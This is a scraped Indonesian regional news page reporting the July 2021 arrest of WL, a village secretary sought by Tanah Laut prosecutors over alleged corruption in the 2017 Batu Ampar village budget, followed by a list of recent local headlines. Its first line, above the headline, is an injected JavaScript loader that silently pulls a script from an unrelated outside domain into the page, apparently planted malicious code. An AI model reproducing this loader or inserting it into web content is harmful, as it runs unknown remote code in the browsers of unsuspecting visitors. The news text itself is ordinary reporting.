(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kejari HSU Tangkap WL, Buron Kejari Tala terkait Kasus Korupsi APBDes Desa Batu Ampar!


KANALKALIMANTAN.COM, AMUNTAI– Kejaksaan Negeri (Kejari) Hulu Sungai Utara (HSU) berhasil menangkap perempuan berinisial WL (27), yang diduga terlibat dalam perkara korupsi dana desa yang masih ditangani oleh Kejari Kabupaten Tanah Laut.

“Dalam Operasi tangkap buron ini, tersangka ini diduga mangkir dari beberapa kali panggilan, sehingga Kejaksaan Negeri Tanah Laut menggunakan upaya paksa untuk pencarian orang,” terang Kepala Kajari HSU melalui Kasi Intel Rudi Firmansyah, saat menggelar jumpa pers di halaman Kantor Kejari HSU, Selasa (6/7/2021) siang.

Rudi mengatakan, usai mendapat informasi dari masyarakat, pihaknya berhasil menangkap tersangka WL di sebuah rumah kontrakan di Desa Penampilan Hulu, Kecamatan Amuntai Tengah, pukul 10.00 Wita.

Baca juga: Hari Pertama Kebijakan Dokumen Vaksin, Begini Kondisi di Bandara Syamsudin Noor

 

“Tadi sekitar pukul 10.00 Wita tersangka masuk ke wilayah hukum kami, lanjut kami lakukan tracking melalui handphone, ternyata berada di Desa Palampitan di sebuah kos-kosan. Sampai di situ kita jemput tersangka sangat kooperatif, dan selanjutnya kami akan antar ke Kejaksaan Negeri Tala guna proses penegakkan tidak pidana korupsi,” terangnya.


Menurut Rudi, tersangka sendiri berada di Amuntai adalah untuk menghindari panggilan Kejaksaan Tala.
Selain itu, lanjut Rudi tersangka juga diduga berada di Amuntai hanya transit sementara dan akan berlanjut ke tempat lain lagi guna mencari tempat yang lebih aman.

“Ya niat awal, tersangka mangkir dari panggilan untuk perkara korupsi, kemudian beberapa kali dipanggil secara patut berturut-turut, namun tidak hadir,” katanya.

Sebelumnya, tersangka WL yang diketahui menjabat sebagai Sekretaris Desa ini, diduga terlibat dalam kasus korupsi APBDES tahun 2017 di Desa Batu Ampar, Kecamatan Ambawang, Kabupaten Tanah Laut. Kasus ini sebelumnya juga menyeret mantan kepala Desanya berinisial S serta VA selaku kontraktor CV Sumber Sejati dengan proyek jalan usaha tani hingga menelan kerugian mencapai setelah milliar rupiah. (kanalkalimantan.com/dew)

Reporter: dew
Editor: cell


Risa

Recent Posts

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

31 menit ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

2 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

3 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

3 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

17 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

17 jam ago

This website uses cookies.